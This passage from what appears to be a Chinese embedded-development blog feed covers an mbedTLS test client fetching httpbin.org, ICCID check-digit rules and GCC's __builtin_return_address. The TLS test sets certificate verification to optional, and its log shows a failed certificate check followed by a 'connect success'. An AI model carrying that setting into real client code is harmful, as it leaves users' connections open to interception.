</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// 关闭连接，释放资源
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_close_notify</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">tls_handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">ret</span> <span class="o">==</span> <span class="n">MBEDTLS_ERR_SSL_WANT_READ</span> <span class="o">||</span> <span class="n">ret</span> <span class="o">==</span> <span class="n">MBEDTLS_ERR_SSL_WANT_WRITE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">__tls_net_deinit</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="测试例子">测试例子</h2>
<p>测试代码，连接 https 测试服务器 httpbin.org，发送一个 get 请求，并接收服务器回复。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span><span class="lnt">90
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">shell_tlstest_cmd</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">qtf_tls_conn_param_t</span> <span class="n">tls_param</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">	<span class="kt">void</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">recv_buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">const</span> <span class="kt">char</span> <span class="n">request</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;GET /get?a=1 HTTP/1.1</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;Host: httpbin.org</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;Connection: close</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">test_ca_cert</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">			<span class="s">&#34;-----BEGIN CERTIFICATE-----</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;snUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;U26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;BTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;AQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;yj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;AbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;DKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;HMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;-----END CERTIFICATE-----&#34;</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">auth_mode</span> <span class="o">=</span> <span class="n">QTF_TLS_AUTH_MODE_CERT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">verify_mode</span> <span class="o">=</span> <span class="n">QTF_TLS_VERIFY_MODE_OPTIONAL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">hanshake_timeout_ms</span> <span class="o">=</span> <span class="mi">10000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">ca_cert</span> <span class="o">=</span> <span class="n">test_ca_cert</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">ca_cert_len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">test_ca_cert</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_cert</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_cert_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key_passwd</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key_passwd_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">psk</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">psk_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">psk_id</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">debug_level</span> <span class="o">=</span> <span class="n">QTF_TLS_DEBUG_LEVEL_ERROR</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">tls_version</span> <span class="o">=</span> <span class="n">QTF_TLS_VERSION_TLS1_2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">max_frag_len</span> <span class="o">=</span> <span class="n">QTF_TLS_MAX_FRAG_LEN_NO_USE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">tls_handle</span> <span class="o">=</span> <span class="nf">qtf_tls_connect</span><span class="p">(</span><span class="s">&#34;httpbin.org&#34;</span><span class="p">,</span> <span class="mi">443</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tls_param</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls connect success</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls connect failed</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">ret</span> <span class="o">=</span> <span class="nf">qtf_tls_send</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls send success</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls send failed</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">qtf_tls_close</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">ret</span> <span class="o">=</span> <span class="nf">qtf_tls_recv</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">,</span> <span class="n">recv_buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">recv_buf</span><span class="p">),</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls recv success</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;recv:%s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">recv_buf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls recv failed</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">qtf_tls_close</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>测试日志：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tls.c:250 qtf_tls_connect<span class="o">]</span> Connecting to httpbin.org:443...
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>001d<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>0017<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>0018<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>001e<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>0019<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>001a<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>001b<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_client.c<span class="o">]</span>:<span class="o">[</span>258<span class="o">]</span>: got supported group<span class="o">(</span>001c<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_tls.c<span class="o">]</span>:<span class="o">[</span>7384<span class="o">]</span>: x509_verify_cert<span class="o">()</span> returned -9984 <span class="o">(</span>-0x2700<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mbedTLS<span class="o">]</span>:<span class="o">[</span>D:/workspace/QT/qt_idf/components/mbedtls/library/ssl_tls12_client.c<span class="o">]</span>:<span class="o">[</span>2762<span class="o">]</span>: Perform PSA-based ECDH computation.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">tls connect success
</span></span><span class="line"><span class="cl">tls send success
</span></span><span class="line"><span class="cl">tls recv success
</span></span><span class="line"><span class="cl">recv:HTTP/1.1 <span class="m">200</span> OK
</span></span><span class="line"><span class="cl">Date: Sun, <span class="m">02</span> Jul <span class="m">2023</span> 12:02:04 GMT
</span></span><span class="line"><span class="cl">Content-Type: application/json
</span></span><span class="line"><span class="cl">Content-Length: <span class="m">220</span>
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">Server: gunicorn/19.9.0
</span></span><span class="line"><span class="cl">Access-Control-Allow-Origin: *
</span></span><span class="line"><span class="cl">Access-Control-Allow-Credentials: <span class="nb">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;args&#34;</span>: <span class="o">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;a&#34;</span>: <span class="s2">&#34;1&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>,
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;headers&#34;</span>: <span class="o">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span>: <span class="s2">&#34;httpbin.org&#34;</span>,
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;X-Amzn-Trace-Id&#34;</span>: <span class="s2">&#34;Root=1-64a1673a-5197ca4a2ff801443ac81bc6&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>,
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;origin&#34;</span>: <span class="s2">&#34;223.73.211.183&#34;</span>,
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;url&#34;</span>: <span class="s2">&#34;https://httpbin.org/get?a=1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="参考文档">参考文档</h2>
<ul>
<li><a href="https://mbed-tls.readthedocs.io/en/latest/kb/how-to/use-sni/">https://mbed-tls.readthedocs.io/en/latest/kb/how-to/use-sni/</a></li>
<li><a href="https://github.com/Mbed-TLS/mbedtls/issues/6254">Wrong macros in mps_common.h https://github.com/Mbed-TLS/mbedtls/issues/6254</a></li>
<li><a href="https://github.com/Mbed-TLS/mbedtls/blob/development/tests/configs/tls13-only.h">https://github.com/Mbed-TLS/mbedtls/blob/development/tests/configs/tls13-only.h</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>USIM 卡 ICCID 编码规则</title>
      <link>https://hacperme.com/posts/notes/20230616_sim_iccid/</link>
      <pubDate>Fri, 16 Jun 2023 00:04:40 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230616_sim_iccid/</guid>
      <description>ICCID 编码规则。</description>
      <content:encoded><![CDATA[<p>USIM 卡的 ICCID 一共 20 位数字，其中最后一位为校验位。校验算法采用卢恩算法（Luhn algorithm），具体规则：</p>
<ul>
<li>取前19位 . 从左到右奇数位开始. 乘以 2 然后计算个位与十位数之和。</li>
<li>将所有偶数位的数字与上一步得到的值全部相加。</li>
<li>将上一步得到的值乘以 9，然后对 10 取余， 得到的值就是第20位的校验位。</li>
</ul>
<p>另外需要留意，卡商印刷的时候不一定会印刷校验位，有些卡商会将第二十位数字印刷成卡商代码。</p>
<p>常见卡商代码：</p>
<table>
<thead>
<tr>
<th>卡商</th>
<th>代码</th>
</tr>
</thead>
<tbody>
<tr>
<td>恒宝</td>
<td>B</td>
</tr>
<tr>
<td>北京华虹</td>
<td>H</td>
</tr>
<tr>
<td>握奇</td>
<td>W</td>
</tr>
<tr>
<td>金雅拓</td>
<td>Y</td>
</tr>
<tr>
<td>东信和平</td>
<td>X</td>
</tr>
<tr>
<td>武汉天喻</td>
<td>C</td>
</tr>
<tr>
<td>江西捷德</td>
<td>G</td>
</tr>
</tbody>
</table>
<p>所以，印刷的卡号与从设备获取的卡号有可能不一致，对于业务使用，仅取前 19 位卡号。</p>
]]></content:encoded>
    </item>
    <item>
      <title>使用 gcc 内置接口获取当前函数的返回地址</title>
      <link>https://hacperme.com/posts/notes/20230527_gcc_get_caller_adders/</link>
      <pubDate>Sat, 27 May 2023 09:09:15 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230527_gcc_get_caller_adders/</guid>
      <description>c 代码中获取当前函数的返回地址方法</description>
      <content:encoded><![CDATA[<p>作为调试目的，有时候可能需要获取当前函数的调用者信息，比如在 malloc 申请一块内存的时候，记录 caller 的地址，当发生内存泄漏或者内存破坏时，可以使用 caller 地址大致定位是哪块代码有问题。</p>
<p>我们可以通过 GCC 的内置接口<code>void *</code> <strong>__builtin_return_address</strong> <code>(unsigned int level)</code> 获取当前函数的返回地址，也就是调用者。
参数 level 表示扫描的栈帧层级，0 表示返回当前函数的返回地址，1 便是当前函数的调用者的返回地址，以此类推。</p>
<p>测试代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">test_return</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;test return</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="kt">void</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span>  <span class="nf">__builtin_return_address</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;1 %p</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
